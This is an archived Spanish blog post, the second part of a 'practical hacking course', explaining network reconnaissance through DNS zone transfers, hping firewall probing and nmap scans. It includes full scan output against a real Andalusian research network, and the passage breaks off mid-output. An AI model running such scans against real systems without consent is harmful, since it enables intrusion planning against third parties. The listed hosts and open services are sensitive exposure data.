		<link>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-ii/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-ii/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:10:49 +0000</pubDate>
		<dc:creator>Lecter</dc:creator>
				<category><![CDATA[Acceso a las cosas remotas]]></category>
		<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[axfr]]></category>
		<category><![CDATA[cortafuegos]]></category>
		<category><![CDATA[cph]]></category>
		<category><![CDATA[curso de hacking]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[escanear]]></category>
		<category><![CDATA[escaner]]></category>
		<category><![CDATA[finger]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[fping]]></category>
		<category><![CDATA[George Kutz]]></category>
		<category><![CDATA[hackeando]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[hacking exposed]]></category>
		<category><![CDATA[host]]></category>
		<category><![CDATA[hping]]></category>
		<category><![CDATA[icmp]]></category>
		<category><![CDATA[lecter]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[netcat]]></category>
		<category><![CDATA[nfs]]></category>
		<category><![CDATA[nis]]></category>
		<category><![CDATA[nmap]]></category>
		<category><![CDATA[nslookup]]></category>
		<category><![CDATA[ping]]></category>
		<category><![CDATA[queso]]></category>
		<category><![CDATA[rpc]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[scanner]]></category>
		<category><![CDATA[showmount]]></category>
		<category><![CDATA[Stuart McClure]]></category>
		<category><![CDATA[traceroute]]></category>
		<category><![CDATA[transferencia de zona]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[whois]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=204</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: Curso prÃ¡ctico de hacking II Autor: Lecter Tema: Acceso a las cosas remotas La informaciÃ³n incluÃ­da en este documento es expuesta en base a un interÃ©s educativo. HackIndex no se hace responsable del uso de dicha informaciÃ³n. El siguiente documento es propiedad de HackIndex y de [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: Curso prÃ¡ctico de hacking II<br />
Autor: Lecter<br />
Tema: Acceso a las cosas remotas</p>
<p>La informaciÃ³n incluÃ­da en este documento es expuesta en base a un interÃ©s educativo. HackIndex no se hace responsable del uso de dicha informaciÃ³n.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuÃ­do de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificaciÃ³n alguna.</p>
<p>Queda extrictamente prohibida su distribuciÃ³n con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>CURSO PRACTICO DE HACKING&#8211;2a entrega</p>
<p>Queridos compaÃ±eros (exploradores y novatos con ganas de aprender):</p>
<p>Como osÂ  prometi aqui teneis elÂ  segundo capitulo delÂ  CPH, que espero<br />
queÂ  pueda servirosÂ  a abrirÂ  laÂ  brecha delÂ  estudio autodidactaÂ  con<br />
algunosÂ  consejillos yÂ  notas.Â  Antes deÂ  comenzarÂ  con esteÂ  capitulo<br />
quiero recalcar que el objetivo de este &#8220;seminario&#8221; de hacking intenta<br />
ilustrar los modos de conseguir introducirnos en una maquina unix cuya<br />
seguridad ha sido comprometida,Â  generalmente por una mala gestion del<br />
administrador,Â  que muchasÂ  veces pasaÂ  olimpicamente delÂ  sistema que<br />
debe cuidarÂ  como Cancerbero.Â  En ningun casoÂ  he queridoÂ  arrastrar a<br />
nadieÂ  al empleo deÂ  este conocimientoÂ  para oscurosÂ  propositos, sino<br />
para impulsarÂ  a los estudiantes novatosÂ  a llevar losÂ  sistemas a sus<br />
ultimasÂ  posibilidadesÂ  yÂ  noÂ  comoÂ  merosÂ  usuariosÂ  finales.AsiÂ  que<br />
=A1abstenerse los lamers!</p>
<p>En este sentido, ha salido esteÂ  mes en la revista @rroba un excelente<br />
articulo deÂ  Carlos Sanchez AlmeidaÂ  titulado &#8220;Hackers deÂ  plastico&#8221; y<br />
aunque cortoÂ  merece la pena que loÂ  leais. Al igual queÂ  a finales de<br />
los setenta seÂ  acuÃ±aba el termino &#8220;punkies deÂ  plastico&#8221; para seÃ±alar<br />
que debajo de la mascarada de tachuelas y cuero, aquellos punkies eran<br />
tan burgueses como sus papis, los hackers de plastico son aquellos que<br />
seÂ  han erigidoÂ  como arquetipoÂ  de laÂ  revolucion moderna:Â  el hacker<br />
televisivo, cruce de Neo y elÂ  padre Apeles. Pero ya sabeis: con lo de<br />
hackerÂ  ocurreÂ  loÂ Â  mismoÂ  queÂ  conÂ  quienesÂ  seÂ Â  dicenÂ  rosacruzÂ  o<br />
sufi&#8230;Ciertamente no lo son. UnÂ  hacker de verdad &#8220;jamas se colocaria<br />
un piercing para aparentar: loÂ  unico que agujerean es el sistema&#8221;. El<br />
hacking es un camino duro y dificil, &#8220;que implica muchas renuncias. La<br />
primera yÂ  la masÂ  importante es laÂ  que diferenciaÂ  verdaderamente al<br />
hacker del lamer: la renuncia al ego&#8230;&#8221;</p>
<p>YÂ  ahora vamosÂ  con nuestroÂ  asunto. AntesÂ  de entrarÂ  de llenoÂ  en el<br />
capitulo 2 quiero aclarar algoÂ  a los estudiantes del primer capitulo:<br />
LasÂ  utilidades whois, traceroute,Â  host, pingÂ  y nslookupÂ  las debeis<br />
tenerÂ  en cualquierÂ  sistema linuxÂ  queÂ  monteis. LasÂ  podeis usarÂ  en<br />
consolaÂ  o en unÂ  xterm. AlgunasÂ  como tracerouteÂ  hay queÂ  usarlas en<br />
ciertas distros linux como root, pero en otras no. Evidentemente antes<br />
habreis de conectaros <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  y siÂ  sois novatillos el paquete kppp de KDE<br />
se pareceÂ  muchisimo al procedimientoÂ  de conexion telefonicaÂ  a redes<br />
del Windoze. UnaÂ  vez conectados podeis abrir xtermsÂ  en el escritorio<br />
KDE o pasarosÂ  con Alt-Ctrl-Fx a una consolaÂ  (Volvereis al escritorio<br />
conÂ  Alt-Ctrl-F7).Â  OtrasÂ  utilidadesÂ Â  teneisÂ  queÂ  buscarlasÂ  enÂ  la<br />
red.Â  Para elloÂ  basta conÂ  <a href="http://www.altavista.com">www.altavista.com</a> yÂ  <a href="http://www.alltheweb.com">www.alltheweb.com</a> que<br />
contiene un buscador FAST FTP yÂ  WEB y una dosis minima de ingenio. De<br />
todos modos os dire donde podeis descargar las herramientas:</p>
<p>-fping en <a href="http://www.stanford.edu/~schemers/docs/fping/fping.html">www.stanford.edu/~schemers/docs/fping/fping.html</a><br />
-nmap en <a href="http://www.insecure.org/nmap/">www.insecure.org/nmap/</a><br />
-netcat en <a href="http://www.l0pht.com/~weld/netcat/">www.l0pht.com/~weld/netcat/</a><br />
-queso en <a href="ftp://ftp.connect.net/pub/security/trinux/netmap/">ftp.connect.net/pub/security/trinux/netmap/</a></p>
<p>Espero que continueis en la brecha</p>
<p>Saludos,</p>
<p>LECTER</p>
<p>CPH. CAPITULO 2. EXTRACCION DE INFORMACION CRITICA DEL OBJETIVO</p>
<p>En esteÂ  capitulo nos vamos aÂ  centrar en laÂ  obtencion de informacion<br />
criticaÂ  queÂ  luegoÂ  podraÂ  serÂ  explotada paraÂ  introducirnosÂ  enÂ  el<br />
sistema. La informacion critica se basa siempre en algun compromiso en<br />
laÂ  seguridadÂ  deÂ  unÂ  servicio,Â  unÂ  bugÂ  (fallo)Â  deÂ  algunÂ  comando<br />
relacionado con los servicios, etc. Para este capitulo me he basado en<br />
unÂ Â  libroÂ  muyÂ Â  utilÂ Â  queÂ  acabaÂ Â  deÂ Â  salirÂ  alÂ Â  mercado:Hacking<br />
exposed;networkÂ  security secretsÂ  and solutions,Â  deÂ  Stuart McClure,<br />
George Kutz y otro mas (ya esta en espaÃ±ol).</p>
<p>1)InformacionÂ  critica obtenidaÂ  mediante &#8220;transferenciaÂ  deÂ  zona&#8221; de<br />
servidores DNSÂ  mal configurados.Â Â  Algunas veces nosÂ  encontramos con<br />
servidoresÂ  DNSÂ Â  configuradosÂ  deÂ Â  maneraÂ  inseguraÂ  yÂ Â  queÂ  pueden<br />
permitirnos entrarÂ  en laÂ  llamada zona deÂ  transferencia deÂ  DNS, aun<br />
siendoÂ  usuariosÂ  deÂ Â  internetÂ  noÂ  autorizados.Â  PodemosÂ  intentarlo<br />
utilizando la instruccion nslookup en modo interactivo:</p>
<p>$&gt;nslookup</p>
<p>=2E..a continuacion aparecera el servidorÂ  DNS por defecto que sera el<br />
deÂ  nuestro ISPÂ  u organizacion&#8230;peroÂ  como queremosÂ  consultar otro,<br />
X.X.X.XÂ  (uno que correspondaÂ  a nuestroÂ  objetivo, comoÂ  obtuvimos al<br />
hacer whois transmeta.com) escribiremos</p>
<p>&gt;server X.X.X.X</p>
<p>a lo que respondera aceptandolo como &#8220;default&#8221;. A continuacion hacemos</p>
<p>&gt;set type=3Dany<br />
&gt;ls -d objetivo.net.&gt;&gt; fichero</p>
<p>LoÂ  que hemos hechoÂ  es definirÂ  el tipoÂ  de registroÂ  como cualquiera<br />
(any)Â Â  conÂ Â Â  loÂ Â  queÂ Â  podemosÂ Â  recuperarÂ Â Â  losÂ Â  registrosÂ Â  DNS<br />
disponibles.Â  LuegoÂ  losÂ  listamosÂ  yÂ  redirigimosÂ  aÂ  &#8220;fichero&#8221;Â  para<br />
consultarlo mas adelante.Â  Si ha habido suertecilla, cosa que dudo, al<br />
leer &#8220;fichero&#8221;, encontrariaisÂ  diversas entradas con varios registros,<br />
p.ej:</p>
<p>acct22Â Â  1D IN AÂ Â Â Â Â Â  192.168.230.3<br />
Â Â Â Â Â Â Â Â  1D IN HINFOÂ Â  &#8220;Gateway 2000&#8243; &#8220;Win WKGRPS&#8221;<br />
Â Â Â Â Â Â Â Â  1D IN MXÂ Â Â Â Â  0 acmeadmin-smtp<br />
Â Â Â Â Â Â Â Â  &#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>El registro A indica laÂ  direccion IP de esta cuenta, HINFO identifica<br />
la plataforma oÂ  el sistema operativo y MX nosÂ  dice donde se gestiona<br />
el correo.Â  Existen masÂ  registros, pero noÂ  los voy aÂ  comentar. Esta<br />
informacion esÂ  muy valiosaÂ  porque nos daÂ  de golpeÂ  conocimiento del<br />
sistema operativo y gestor de correo (aparte de mucho mas). Existe una<br />
utilidad algoÂ  dificililla de encontrarÂ  buscando a las bravasÂ  por la<br />
red, que nos permite realizar transferencias de zona (cuando se puede)<br />
y transferirÂ  de maneraÂ  recursiva informacion deÂ  la zonaÂ  y archivos<br />
huespedes de cada uno deÂ  los dominios consultados. Tal herramienta es<br />
&#8220;axfr&#8221;Â Â Â Â Â Â Â Â  queÂ Â Â Â Â Â Â  laÂ Â Â Â Â Â Â  podeisÂ Â Â Â Â Â Â Â  encontrarÂ Â Â Â Â Â Â  en<br />
ftp=2Econnectnet.com/pub/security/trinux/netmap/axfr-0.5.2.tar.gz. Una<br />
vez instalado, hacemos como root</p>
<p>#&gt;axfr objetivo.net<br />
y saldran algunos mensajes<br />
axfr: Using default directory /root/axfrdb<br />
Found X.X.X.X name server for domain &#8216;objetivo.net&#8217;<br />
text deleted<br />
Received xxxx answers</p>
<p>Ya esta. Para consultar la base de datos basta con que hagais</p>
<p>#&gt;axfrcat objetivo.net</p>
<p>Pero como ya he dicho, no sera tan tordo el administrador de dejar mal<br />
configurado el servidor DNS.</p>
<p>2. =BFProtege algun cortafuegos nuestro objetivo?</p>
<p>Vamos unicamenteÂ  a comprobar si existe algunÂ  cortafuegos que proteja<br />
nuestroÂ  objetivo.Â  LaÂ  maneraÂ Â  deÂ  saltarseÂ  elÂ  cortafuegosÂ  yaÂ  la<br />
consideraremosÂ  enÂ Â  lasÂ  tecnicasÂ  deÂ  ataque,Â Â  puesÂ  ahoraÂ  estamos<br />
extrayendoÂ  informacionÂ  criticaÂ  solamente.Â  RecordandoÂ  laÂ  utilidad<br />
nmap, podemosÂ  usarla para descubrir cortafuegos.Â  Cuando nmap explora<br />
un host, no solamente dice si los puertos estan abiertos, sino tambien<br />
si estan &#8220;filtrados&#8221;. Un puerto filtradoÂ  en nmap indica que o bien no<br />
seÂ  recibio ningunÂ  paquete SYN/ACKÂ  o RST/ACKÂ  o bienÂ  seÂ  recibio un<br />
mensajeÂ  ICMPÂ  de destinoÂ  inalcanzableÂ  conÂ  codigo 13Â  (Cominicacion<br />
prohibida porÂ  el administrador).Â  Otra utilidad interesanteÂ  es hping<br />
(<a href="http://www.kyuzz.org/antirez">www.kyuzz.org/antirez</a>). Una vez instalada, hacemos como root</p>
<p>#&gt;hping objetivo.com -S -p (n=BA de puerto)</p>
<p>De este modo se envian paquetesÂ  TCP SYN al puerto destino y obtenemos<br />
informacion de losÂ  paquetes que regresan. Si elÂ  flag de respuesta es<br />
SA (SYN/ACK) quiereÂ  decir que el puerto destinoÂ  esta abierto y listo<br />
paraÂ  recibirÂ  conexion.Â  AÂ Â  vecesÂ  nosÂ  saleÂ  comoÂ  respuestaÂ  &#8220;ICMP<br />
unreachable type 13 from X.X.X.X&#8221; loÂ  que nos indica que X.X.X.X es el<br />
cortafuegos del objetivo.Â  No obstante si el resultadoÂ  de hping no da<br />
respuesta alguna puede ser que o bien el paquete se haya perdido en la<br />
red oÂ  que el cortafuegos loÂ  detenga. Si obtenemosÂ  una respuesta con<br />
flagÂ  RA (RST/ACK)Â  puede serÂ  queÂ  el cortafuegosÂ  haya rechazadoÂ  el<br />
paquete oÂ  puede que loÂ  haya dejado pasarÂ  por el puerto peroÂ  que el<br />
host objetivo noÂ  esta escuchando. Vamos a intentarÂ  ilustrarlo con un<br />
ejemplo.Â  Mi hostÂ  objetivo esÂ  la paginaÂ  web delÂ  Centro Informatico<br />
Cientifico deÂ  Andalucia, <a href="http://www.cica.es">www.cica.es</a>. VoyÂ  antes que nada aÂ  hacer un<br />
traceroute</p>
<p>$&gt;traceroute <a href="http://www.cica.es">www.cica.es</a><br />
Â<br />
Â 1Â  SEVI-X13.red.retevision.es (62.81.56.45)Â  134.694 msÂ  139.73 msÂ  139.866 ms<br />
Â 2Â  SEVI-R3.red.retevision.es (62.81.56.27)Â  139.931 msÂ  120.489 ms SEVI-R1.red.retevision.es (62.81.56.28)Â  129.317 ms<br />
Â 3Â  SEVI-R15.red.retevision.es (62.81.55.229)Â  139.938 msÂ  129.841 msÂ  119.956 ms<br />
Â 4Â  BARC-R16.red.retevision.es (62.81.125.3)Â  170.034 msÂ  149.872 msÂ  149=2E948 ms<br />
Â 5Â  ReteNAC.red.retevision.es (62.81.63.202)Â  139.926 msÂ  169.764 msÂ  159=2E934 ms<br />
Â 6Â  EspaNIX.red.retevision.es (62.81.8.146)Â  179.967 msÂ  179.872 msÂ  169.909 ms<br />
Â 7Â  ibernet.espanix.net (193.149.1.57)Â  170.042 msÂ  159.813 msÂ  149.953 ms<br />
Â 8Â  194.179.0.113 (194.179.0.113)Â  179.942 msÂ  159.778 msÂ  159.919 ms<br />
Â 9Â  A0-2-4.EB-Madrid00.red.rediris.es (130.206.224.77)Â  159.959 msÂ  199.853 msÂ  169.892 ms<br />
10Â  A1-0-1.EB-Sevilla1.red.rediris.es (130.206.224.10)Â  189.936 msÂ  189.926 msÂ  179.875 ms<br />
11Â  130.206.194.10 (130.206.194.10)Â  179.931 msÂ  169.96 msÂ  169.856 ms<br />
12Â  argantonio.cica.es (150.214.5.77)Â  189.97 ms *Â  180.02 ms</p>
<p>Â MuyÂ  bien,Â Â  elÂ  hostÂ  130.206.194.10Â  pareceÂ  serÂ Â  unÂ  enrutadorÂ  o<br />
cortafuegos que dirigeÂ  el trafico a argantonio.cica.es (<a href="http://www.cica.es">www.cica.es</a>).<br />
Ahora voy a utilizar laÂ  herramienta nmap para hacer una evaluacion de<br />
laÂ  topologiaÂ  deÂ  unaÂ  subred.Â  VoyÂ  aÂ  escanearÂ  porÂ  elÂ  puertoÂ  80<br />
silenciosamente todas lasÂ  maquinas de la subred CÂ  a la que pertenece<br />
<a href="http://www.cica.es">www.cica.es</a>:</p>
<p>#&gt;nmap -sS -p80 <a href="http://www.cica.es">www.cica.es</a></p>
<p># Nmap (V. nmap) scan initiated 2.53 as: nmap -sS -p80 -o cica <a href="http://www.cica.es/24">www.cica.es/24</a><br />
The 1 scanned port onÂ  (150.214.5.0) is: closed<br />
The 1 scanned port onÂ  (150.214.5.1) is: closed<br />
Interesting ports on <a href="http://www.ceseand.cica.es">www.ceseand.cica.es</a> (150.214.5.2):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>Interesting ports on scsasnt.sas.cica.es (150.214.5.3):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>Interesting ports on prometeo.cica.es (150.214.5.4):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>Interesting ports on cdaea.cica.es (150.214.5.6):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>Interesting ports on caf.cica.es (150.214.5.7):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>Interesting ports on microbio.cica.es (150.214.5.8):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>Interesting ports on <a href="http://www.csalud.junta-andalucia.es">www.csalud.junta-andalucia.es</a> (150.214.5.9):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>Interesting ports on thales.cica.es (150.214.5.10):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>The 1 scanned port on mileto.cica.es (150.214.5.11) is: closed<br />
Interesting ports on <a href="http://www.tresculturas.org">www.tresculturas.org</a> (150.214.5.12):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>Interesting ports on cdma.cica.es (150.214.5.13):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>HostÂ Â  (150.214.5.31) seems to be a subnet broadcast address (returned 1 extra pings).Â  Still scanning it due to positive ping response from its own IP.<br />
The 1 scanned port onÂ  (150.214.5.31) is: closed<br />
HostÂ Â  (150.214.5.48) seems to be a subnet broadcast address (returned 1 extra pings).Â  Skipping host.<br />
The 1 scanned port on osni.cica.es (150.214.5.49) is: closed<br />
The 1 scanned port on io.cica.es (150.214.5.50) is: closed<br />
The 1 scanned port on iat-gw.cica.es (150.214.5.51) is: closed<br />
HostÂ Â  (150.214.5.55) seems to be a subnet broadcast address (returned 1 extra pings).Â  Still scanning it due to positive ping response from its own IP.<br />
The 1 scanned port onÂ  (150.214.5.55) is: closed<br />
HostÂ Â  (150.214.5.64) seems to be a subnet broadcast address (returned 1 extra pings).Â  Skipping host.<br />
The 1 scanned port onÂ  (150.214.5.65) is: closed<br />
The 1 scanned port on winbdd.cica.es (150.214.5.66) is: closed<br />
The 1 scanned port on mercurio.cica.es (150.214.5.67) is: closed<br />
The 1 scanned port on winbdd2.cica.es (150.214.5.68) is: closed<br />
Interesting ports on orgiva.cica.es (150.214.5.69):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>The 1 scanned port on cache.cica.es (150.214.5.70) is: closed<br />
The 1 scanned port on ntp.cica.es (150.214.5.71) is: closed<br />
Interesting ports on patro.cica.es (150.214.5.72):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>The 1 scanned port on horacio.cica.es (150.214.5.73) is: closed<br />
Interesting ports on argantonio.cica.es (150.214.5.77):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>Interesting ports on ligustino.cica.es (150.214.5.78):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>Interesting ports on listas.cica.es (150.214.5.79):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>The 1 scanned port on idefix.cica.es (150.214.5.85) is: closed<br />
The 1 scanned port on lejia-s.cica.es (150.214.5.126) is: closed<br />
HostÂ Â  (150.214.5.127) seems to be a subnet broadcast address (returned 1 extra pings).Â  Still scanning it due to positive ping response from its own IP.<br />
The 1 scanned port onÂ  (150.214.5.127) is: closed<br />
# Nmap run completed at Mon AugÂ  7 00:56:51 2000 &#8212; 256 IP addresses (33 hosts up) scanned in 31 seconds</p>
<p>Bueno, bueno&#8230;ahora si hago un traceroute a cada uno de los hosts que<br />
hanÂ  sidoÂ  escaneados,Â  obtengoÂ  queÂ  enÂ  todosÂ  losÂ  casos,Â  elÂ  host<br />
130.206.194.10 les apunta,Â  con lo cual podemos asegurarÂ  que se trata<br />
de un router/firewall frontera.<br />
Â<br />
Voy a escanear <a href="http://www.cica.es">www.cica.es</a> con nmap pero a todos los puertos:</p>
<p># Nmap (V. nmap) scan initiated 2.53 as: nmap -vv -sS -O -P0Â  <a href="http://www.cica.es">www.cica.es</a><br />
Interesting ports on argantonio.cica.es (150.214.5.77):<br />
(The 1508 ports scanned but not shown below are in state: closed)<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
21/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  ftpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
22/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  sshÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
23/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  telnetÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
119/tcpÂ Â Â  filteredÂ Â Â  nntpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
123/tcpÂ Â Â  filteredÂ Â Â  ntpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
389/tcpÂ Â Â  openÂ Â Â Â Â Â Â  ldapÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
390/tcpÂ Â Â  openÂ Â Â Â Â Â Â  uisÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
443/tcpÂ Â Â  openÂ Â Â Â Â Â Â  httpsÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
512/tcpÂ Â Â  openÂ Â Â Â Â Â Â  execÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
513/tcpÂ Â Â  openÂ Â Â Â Â Â Â  loginÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
514/tcpÂ Â Â  openÂ Â Â Â Â Â Â  shellÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
515/tcpÂ Â Â  openÂ Â Â Â Â Â Â  printerÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
3128/tcpÂ Â  openÂ Â Â Â Â Â Â  squid-httpÂ Â Â Â Â Â Â Â Â Â Â Â Â<br />
8888/tcpÂ Â  openÂ Â Â Â Â Â Â  sun-answerbookÂ Â Â Â Â Â Â Â Â </p>
<p>TCP Sequence Prediction: Class=3Drandom positive increments<br />
Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  Difficulty=3D88217 (Worthy challenge)</p>
<p>Sequence numbers: C71B5D1D C71EA319 C7205F3B C721CEFD C72706F0 C729B3AC<br />
Remote OS guesses: Solaris 2.6 &#8211; 2.7, Solaris 7<br />
OS Fingerprint:<br />
TSeq(Class=3DRI%gcd=3D1%SI=3D15899)<br />
T1(Resp=3DY%DF=3DY%W=3D2297%ACK=3DS++%Flags=3DAS%Ops=3DNNTNWME)<br />
T2(Resp=3DN)<br />
T3(Resp=3DN)<br />
T4(Resp=3DY%DF=3DY%W=3D0%ACK=3DO%Flags=3DR%Ops=3D)<br />
T5(Resp=3DY%DF=3DY%W=3D0%ACK=3DS++%Flags=3DAR%Ops=3D)<br />
T6(Resp=3DY%DF=3DY%W=3D0%ACK=3DO%Flags=3DR%Ops=3D)<br />
T7(Resp=3DY%DF=3DY%W=3D0%ACK=3DS%Flags=3DAR%Ops=3D)<br />
PU(Resp=3DY%DF=3DY%TOS=3D0%IPLEN=3D70%RIPTL=3D148%RID=3DE%RIPCK=3DE%UCK=3DE%ULEN=3D134%DAT=3DE)<br />
# Nmap run completed at Sun AugÂ  6 20:02:23 2000 &#8212; 1 IP address (1 host up) scanned in 34 seconds</p>
<p>SeÂ  trata de unÂ  Solaris 2.6-2.7Â  que tieneÂ  filtrados losÂ  puertos de<br />
usenet (119)Â  y network time protocolÂ  (123). Luego a noÂ  ser que este<br />
mismoÂ  hostÂ  utilice unÂ  filtroÂ  deÂ  paquetes,Â  sospecharemos queÂ  son<br />
filtrados porÂ  las reglasÂ  del firewall/router queÂ  le precediaÂ  en la<br />
secuencia de traceroute.</p>
<p>Si barremos ahora los puertos del supuesto firewall:</p>
<p>Â<br />
# Nmap (V. nmap) scan initiated 2.53 as: nmap -vv -sS -O -P0 -o cica 130.206.194.10<br />
Interesting ports onÂ  (130.206.194.10):<br />
(The 1517 ports scanned but not shown below are in state: closed)<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
79/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  fingerÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
119/tcpÂ Â Â  filteredÂ Â Â  nntpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
123/tcpÂ Â Â  filteredÂ Â Â  ntpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
1998/tcpÂ Â  openÂ Â Â Â Â Â Â  x25-svc-portÂ Â Â Â Â Â Â Â Â Â Â<br />
2001/tcpÂ Â  openÂ Â Â Â Â Â Â  dcÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
6001/tcpÂ Â  openÂ Â Â Â Â Â Â  X11:1Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>TCP Sequence Prediction: Class=3Drandom positive increments<br />
Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  Difficulty=3D38400 (Worthy challenge)</p>
<p>Sequence numbers: 2395ACF2 23A031DB 23AB5C89 23B4BE60 23BF584E 23C98A6A<br />
